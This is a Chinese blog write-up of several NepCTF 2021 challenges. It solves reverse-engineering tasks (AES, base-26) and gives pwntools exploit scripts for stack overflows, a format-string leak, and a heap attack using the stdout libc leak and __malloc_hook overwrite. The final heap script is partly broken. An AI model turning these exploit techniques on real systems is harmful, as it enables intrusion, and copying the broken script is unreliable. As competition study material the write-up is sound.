Nep欢乐个人赛部分复现记录

最新推荐文章于 2024-04-21 11:16:34 发布
最新推荐文章于 2024-04-21 11:16:34 发布
阅读量735 收藏
点赞数 1
分类专栏： 笔记
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/mcmuyanga/article/details/115179851
版权

写在前面：感谢不会修电脑师傅的指导
参照大佬：https://shimo.im/docs/TVDd3VvVXyKYGgcv/read
https://www.richar.top/2021/03/22/nepctf-wp/

做到一半平台下线了，只记录了几道简单的。

文章目录

Re

hardcsharp

  1. 例行检查，c#写的
    在这里插入图片描述
  2. 一开始用ida反编译的，看不大懂，百度后用的dnSpy反编译
// hardcsharp.Program
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
private static void Main(string[] args)
{
	AesClass aesClass = new AesClass();
	string text = "";
	string strB = "1Umgm5LG6lNPyRCd0LktJhJtyBN7ivpq+EKGmTAcXUM+0ikYZL4h4QTHGqH/3Wh0";
	byte[] array = new byte[]
	{
		81,
		82,
		87,
		81,
		82,
		87,
		68,
		92,
		94,
		86,
		93,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18
	};
	Console.WriteLine("Welcome to nepnep csharp test! plz input the magical code:");
	string text2 = Console.ReadLine();
	if (text2.Length != 37)
	{
		Console.WriteLine("Nope!");
		Console.ReadKey();
		return;
	}
	if (text2.Substring(0, 4) != "Nep{" || text2[36] != '}')
	{
		Console.WriteLine("Nope!");
		Console.ReadKey();
		return;
	}
	for (int i = 0; i < 32; i++)
	{
		text += Convert.ToChar((int)(array[i] ^ 51)).ToString();
	}
	if (string.Compare(aesClass.AesEncrypt(text2, text), strB) == 0)
	{
		Console.WriteLine("wow, you pass it!");
		Console.ReadKey();
		return;
	}
	Console.WriteLine("Nope!");
	Console.ReadKey();
}

在这里插入图片描述

逻辑很简单：text2由我们输入，text由已知数组array和51异或得到，text2用text作为key进行ECB模式的AES加密得到strB
逆向推算一下
个人比较喜欢收集各种算法的脚本，所以没用在线工具网站，用在线工具网站应该会快一些
aes加密/解密代码来源：https://blog.csdn.net/s740556472/article/details/79026128

import string
import random
from Crypto.Cipher import AES


#AES-demo

import base64
from Crypto.Cipher import AES

'''
采用AES对称加密算法
'''
# str不是16的倍数那就补足为16的倍数
def add_to_16(value):
    while len(value) % 16 != 0:
        value += '\0'
    return str.encode(value)  # 返回bytes
#加密方法
def encrypt_oracle():
    # 初始化加密器
    aes = AES.new(add_to_16(key), AES.MODE_ECB)
    #先进行aes加密
    encrypt_aes = aes.encrypt(add_to_16(text))
    #用base64转成字符串形式
    encrypted_text = str(base64.encodebytes(encrypt_aes), encoding='utf-8')  # 执行加密并转码返回bytes
    print(encrypted_text)
#解密方法
def decrypt_oralce(key,text):
    # 秘钥
    #key = '123456'
    # 密文
    #text = 'qR/TQk4INsWeXdMSbCDDdA=='
    # 初始化加密器
    aes = AES.new(add_to_16(key), AES.MODE_ECB)
    #优先逆向解密base64成bytes
    base64_decrypted = base64.decodebytes(text.encode(encoding='utf-8'))
    #执行解密密并转码返回str
    decrypted_text = str(aes.decrypt(base64_decrypted),encoding='utf-8').replace('\0','')
    print(decrypted_text)


array = [81,82,87,81,82,87,68,92,94,86,93,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18]
text = ''
for i in range(len(array)):
     text+=chr(array[i]^51)
print("text:"+text)

key=text  #密钥
text='1Umgm5LG6lNPyRCd0LktJhJtyBN7ivpq+EKGmTAcXUM+0ikYZL4h4QTHGqH/3Wh0'  #加密/解密文本
decrypt_oralce(key,text)

在这里插入图片描述

26进制

  1. 例行检查，32位程序，c++写的，无壳
    在这里插入图片描述
  2. 贴几个关键代码
    在这里插入图片描述
    在这里插入图片描述
    程序逻辑是一开始让我们输入几个个数字，转换成逆序的26进制，根据符号表2163qwe)(*&^%489$!057@#><A转换成对应的字符，然后跟7进行异或，最后得到Fb72>&6,逆算得出这些数字。md5加密即可的搭配flag
from Crypto.Hash import MD5
c=list(b"Fb72>&6"[::-1])
for i in range(len(c)):
    c[i]^=7

b=list(b"2163qwe)(*&^%489$!057@#><A")

r=0
for i in c:
    r*=26
    r+=b.index(i)
print(r)

print('Nep{'+MD5.new(str(r).encode()).hexdigest()+'}')

在这里插入图片描述

PWN

送你一朵小红花

  1. 例行检查，64位程序，保护全开
    在这里插入图片描述
  2. 64位ida载入，检索字符串的时候发现了后门
    在这里插入图片描述
    main（）
    在这里插入图片描述
    buf[2]中存储了程序函数指针，会调用执行输出各种奇怪的图画。
  3. 由于程序开启了pie，所以没法覆盖到准确的函数地址，但是最后12位（1个半字节）是不变的，read读入了0x100长度的数据，可以覆盖buf[2]处的指针为0x14E1,最前面的1是不固定的，范围是0~F，有1/16的几率修改成功

exp

from pwn import *

context.log_level="debug"

while 1:
	p=remote("node2.hackingfor.fun",30728)
	try:
		
		payload='a'*0x10+'\xe1\x14'
		p.send(payload)
		p.recvuntil('}')
		p.interactive()
	except:
		pass

在这里插入图片描述

easystack

  1. 例行检查，64位程序，开启了nx
    在这里插入图片描述
  2. 64位ida载入，程序是静态编译的
    之前做过这种静态编译的题目，静态编译的题目去除了符号信息，阅读起来的时候存在一些困难。当时是使用的ROPgadget --binary easystack --ropchain来利用程序中的片段拼凑rop链，这题不可以。只能动调理一下逻辑
    在这里插入图片描述
    程序逻辑大概是这样：首先将flag读取到0x6CDE20处，然后随机生成一个v6，如果我们输入的数据等于v6，就会输出flag，还有就是如果破坏了v8的值会触发canary的报错函数
    在这里插入图片描述
    两种做法：
    1.覆盖程序的启动参数的指针，将其指向flag的地址，利用stack_chk_fail得到flag。
    动调找一下输入点距离_libc_argv[0]的偏移
    在这里插入图片描述
    0x7fffffffdb30-0x7fffffffdac8=104
from pwn import *
from ctypes import *

context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('easystack')

p=remote('node2.hackingfor.fun',38892)
p.sendline(p64(0x6CDE20)*104)
p.interactive()

在这里插入图片描述

2.爆破出程序的种子，并且通过python中的cdll.LoadLibrary来调用glibc库函数，提交后就可以得到flag

from pwn import *
from ctypes import *

def rnd(n):
	elf.srand(n)
	return elf.rand()

context.log_level = "debug"


r = remote('node2.hackingfor.fun',38892)
elf = cdll.LoadLibrary('./libc-2.23.so')

t = elf.time(0)

r.sendline(p64(rnd(t)))
r.interactive()

在这里插入图片描述

scmt

  1. 例行检查，64位程序，开启了nx保护
    在这里插入图片描述
  2. 64位ida载入，重定义了一些函数，看起来舒服些
    在这里插入图片描述
    程序随机生成一个数，然后判断输入的数和生成的数是否相同，相同就给shell。
    输入name后有格式化字符串漏洞，可以就直接将生成的数泄露出来。
  3. 动调找一下输入的name跟v6的偏移
    在如图黄色部分下断点
    在这里插入图片描述
    在这里插入图片描述

gdb动调找到那个随机数
在这里插入图片描述
找到它距离我们输入的name的偏移为8
在这里插入图片描述
在这里插入图片描述

exp

from pwn import *
#r = process('./scmt')
r = remote('node2.hackingfor.fun', 35168)
r.sendlineafter('name:\n', '%8$p')
r.recvuntil('0x')

num = int(r.recvuntil('\n'), 16)
r.sendlineafter('number:\n', str(num))
r.interactive()

在这里插入图片描述

sooooeasy

  1. 例行检查，64位程序，保护全开
    在这里插入图片描述
  2. 运行一下，看看大概的情况，经典的堆题的菜单，不过只有add和del，没有show
    在这里插入图片描述
  3. 64位ida载入
    add（）
    在这里插入图片描述
    申请一个chunk，理一下结构
    在这里插入图片描述
    dele（）
    在这里插入图片描述
  4. 无show函数，也就是泄露不了堆内容，所以我们要考虑使用stdout来leak libc，关于_IO_2_1_stdout_ leak的方法看这位师傅的博客，这边引用一下。

IO_2_1_stdout leak适用的题目类型
1.无show函数，也就是leak不了堆内容（如果有show函数，那么就可以利用unsorted bin leak）
2.FULL RELRO，也就是got表无法修改（如果可以修改，那么就可以修改free为puts来leak）
3.能够间接(修改size再free)或者直接(直接malloc)的free chunk到unsorted bin，从而在chunk上存在main_arena + 88的地址。
4.能够让3中在unsorted bin中的chunk同时也存在于fastbin中(修改size为0x71，再free)，实现fastbin attck
5.能够UAF，部分写入数据到unsored bin->FD覆盖(main_arena +88)的后两个字节(低地址)，使其指向到stdout附近从而可以修改_flags等数据。这一步中有一些细节需要处理：
a.部分覆盖的具体值由调试可知，因为要检测fastbin size是否在对应范围内，所以要在stdout之前找到一块可以伪造的地址。这个技巧类似于**__malloc_hook**的修改方法。
b.由于在libc中只有后12个位是固定的，所以我们需要爆破后两个字节中的前4个位，也就是我们有(1/16)的几率利用成功。
利用方法
1.设fp = IO_2_1_stdout
2.绕过一些会报错的检测
a.修改fp->flag = 0xfdab1800(_IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING)
b.输出过内容(_IO_CURRENTLY_PUTTING = 1)
3.修改fp->_IO_write_base = leak addr，一般写入单字节(0x58)，这样输出的地址中会有很多libc的地址。如果是用b的绕过方法，那么还需要让_IO_read_end== _IO_write_base

利用思路：

将一个大小为0x70的区块先加入fastbin

通过double free伪造区块，改大的前一个区块的大小，刚好覆盖0x70的区块，并free，然后再将大出来的部分malloc出来，使得0x70的区块刚好在unsorted bin内。此时fd指针为libc内的地址。

覆盖低地址的16bit，修改fd指针为stdout的地址，使堆块到stdout

修改stdout的write_base_ptr的低字节，泄露libc地址

通过double free将区块开到malloc_hook附近，改为one_gadget即可getshell

该方案成功率为1/16。

这题没有提供libc版，所以可以通过double free的报错来推测libc，然后，我做到一般平台下线了，还没来得及尝试，这边就贴一下本地double free报错的信息，我本机也是unbuntu 16.04和目标环境一样
在这里插入图片描述

exp

from pwn import *

p=process('./sooooeasy')
libc=ELF('./libc-2.23.so')

def add(size,name='a',message='abc'):
	p.sendlineafter('Your choice : ','1')
	p.sendlineafter('size of the your name: ',str(size))
	p.sendlineafter('Your name:',name)
	p.sendlineafter('Your message:',message)

def dele(index):
	p.sendlineafter('Your choice : ','2')
	p.sendlineafter("mumber's index:",str(index))

def libcbase():
	infomap = os.popen("cat /proc/{}/maps".format(r.pid)).read()
	data = re.search(".*libc.*\.so", infomap)
	if data:
	        libcaddr = data.group().split("-")[0]
	        return int(libcaddr, 16)
	else:
		return 0

def choice(idx):
	r.sendlineafter("Your choice : ", str(idx))


for i in range(2):
	add(0x28)
   
for i in range(2):
        delete(i)

stdout_addr = libc.sym['_IO_2_1_stdout_'] - 0x43

add(0xE8)  # 2
add(0x68)  # 3    
add(0x18)  # 4    
delete(2)
delete(3)
add(0x400)  # 5    
delete(3)
add(0x88)  # 6
delete(6)
add(0x78, 'a' * 0x58 + p64(0x71) + p16(stdout_addr & 0xFFFF))  # 7
add(0x68)  # 8    # 9    
choice(1)    
r.sendlineafter("name: ", str(0x68))    
r.sendafter("Your name:", 'a' * 0x33 + p64(0xfbad1800) + '\x00' * 0x18 + '\x58')    stdout_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 131
r.sendlineafter("Your message:", 'leak')
log.success("stdout_addr: " + hex(stdout_addr))
libc.address = stdout_addr - libc.sym['_IO_2_1_stdout_']
add(0x68)  # 10
delete(10)
delete(8)
delete(10)
add(0x68, p64(libc.sym['__malloc_hook'] - 0x23))  # 11
add(0x68)  # 12
add(0x68)  # 13    
#one = [0x3f3e6, 0x3f43a, 0xd5c07]
one = [0x45226, 0x4527a, 0xf0364, 0xf1207] 
add(0x68, 'a' * 0x13 + p64(libc.address + one[2]))  # 14    
delete(1)
delete(1)

p.interactive()
Angel~Yan
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
专栏目录
Jarvis OJ pwn刷题
清霂的博客
03-26 243
目录level1level3level3_x64smashes level1 #!/usr/bin/env python3 from pwn import * context(os="linux", arch="i386", log_level="debug") content = 1 def main(): if content == 0: io = process("./level1.80eacdcd51aca92af7749d96efad7fb5") else:
nep-personal-website:Nep的个人网站
05-23
Nep的作品集网站 你好呀。
.MISC
m0_57954651的博客
02-10 3034
签到题 根据题提示 关注公众号 得到flag 0和1的故事 根据题目要求 下载文件 得到后缀为 txt 的文件 打开观察 全部为 0 1 的文段 如果把它视为音乐 应该是上下和弦 但是在这 我们要猜测它的真正意义 01 像是二进制码 又可以理解为空实 黑色和白色 如果是黑白的话可能更有意思 首先复制进excel表格寻找规律 将其标准化 固定宽度 进行分列 在设置合适的列宽 行高 选择替换 其中 0 替换为空格 1 替换填充黑...
Nep欢乐个人赛-RE-hardsharp
AlienEowynWan的博客
03-20 188
(这道题也是本菜鸡在参加的所有CTF比赛中独立解决的第一道题，谨做纪念） 题目： 链接：https://pan.baidu.com/s/1ktDs3UPwUONpDKyIe0IlrQ 提取码：86n1 复制这段内容后打开百度网盘手机App，操作更方便哦； 查壳，C#编写的 dnSpy32打开， 定位到主函数 // hardcsharp.Program // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250 private s
DASCTF X GFCTF 2024｜四月开启第一局
qq_61670993的博客
04-21 834
简单题
NepCTF2021个人赛
Sakura给爷pwn全场
03-30 387
NepCTF2021个人赛Pwn题解： https://www.anquanke.com/post/id/235767
pwn远程的时候遇到 timeout: the monitored command dumped core 怎么办
y0un9er
06-23 7903
timeout: the monitored command dumped core
DASCTF2022 ——十月赛 Web 部分Writeup
渗透测试研究中心
10-28 1436
EasyPOP题目环境是 php 7.4, 图省事直接把所有属性的类型都改成 public起点是 sorry 类的__destruct(), 由echo $this->hint调用到 show 类的__toString()方法, 然后通过执行$this->ctf->show()跳转 secret_code 类的__call(), 进而到show()方法, ...
bt-nep.tar.gz
12-10
基于bluez 5.x以上的蓝牙局域网程序，可支持多个客户端接入组成局域网。代码用到bluez库，默认平台为ARM，可以替换库以支持其他平台。
NEP
02-18
NEP
NEP998B说明
07-27
NEP998B说明
SIF与NEP.rar
12-09
SIF与NEP.rar
[DASCTF 2023]controlflow
CHTXRT的博客
07-22 332
直接反编译，通过汇编代码结合动态调试综合分析，得到输入数据变化过程大致如下：（设输入字符串为。出处：https://blog.csdn.net/CHTXRT。」创作共享协议，转载请在文章明显位置注明作者及出处。
2021-DASCTF-三月赛-Writeup
热门推荐
末初的CSDN博客
03-29 1万+
文章目录WEBMISC签到简单的png隐写雾都孤儿小田的秘密Ascii_art问卷调查 和团队的师傅们组队拿了个第十，师傅们带飞，我就是团队的MVP(Most Vegetable People) WEB 等复现环境出来了再写 MISC 签到 公众号语音识别：异世相遇！尽享美味！安恒赛高！ 见笑了，偶四南方银，藕的普通话不镖准哈哈哈~ DASCTF{welcome_to_march_dasctf} 简单的png隐写 一开始以为hint.png是伪加密，flag.jpg是真加密，结果后
全国农信银CTF流量分析（凯撒会分析流量吗）
yoyo_573的博客
06-30 307
流量分析，时间盲注，题目提示了凯撒密码。转换下就得到了结果。
2022DASCTF MAY 出题人挑战赛 misc
mumuzi的博客
05-22 2791
MAYMISC
[MISC]2022DASCTF Apr X FATE 防疫挑战赛
RookieMOR的博客
05-06 888
1.SimpleFlow; 2.熟悉的猫; 3.冰墩墩； 1.SimpleFlow： 下载得到SimpleFlow的压缩包，解压得到SimpleFlow.pcapng，流量分析题目。查找 flag. ，可以知道一共有四个flag.txt文件，一个flag.zip文件。用kali的foremost指令可以分离出flag.zip文件，发现flag.zip需要密码。 再追踪每个flag.txt。 发现蚁剑流量，一个一个base64解码， 在其中一个txt文件中得到： Y2QgIi9Vc2Vy.
2022DASCTF MAY 出题人挑战赛 Writeup
末初的CSDN博客
05-23 946
2022DASCTF MAY 出题人挑战赛 Writeup
怎么用BEPS模型模拟NEP
最新发布
05-23
BEPS模型是一种针对企业的利润转移和避税问题的模型，而NEP则是新经济政策的缩写，是指中国在20世纪20年代初实行的一系列经济政策。因此，BEPS模型和NEP之间没有直接的联系，不过我可以为您介绍一下如何使用BEPS模型...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值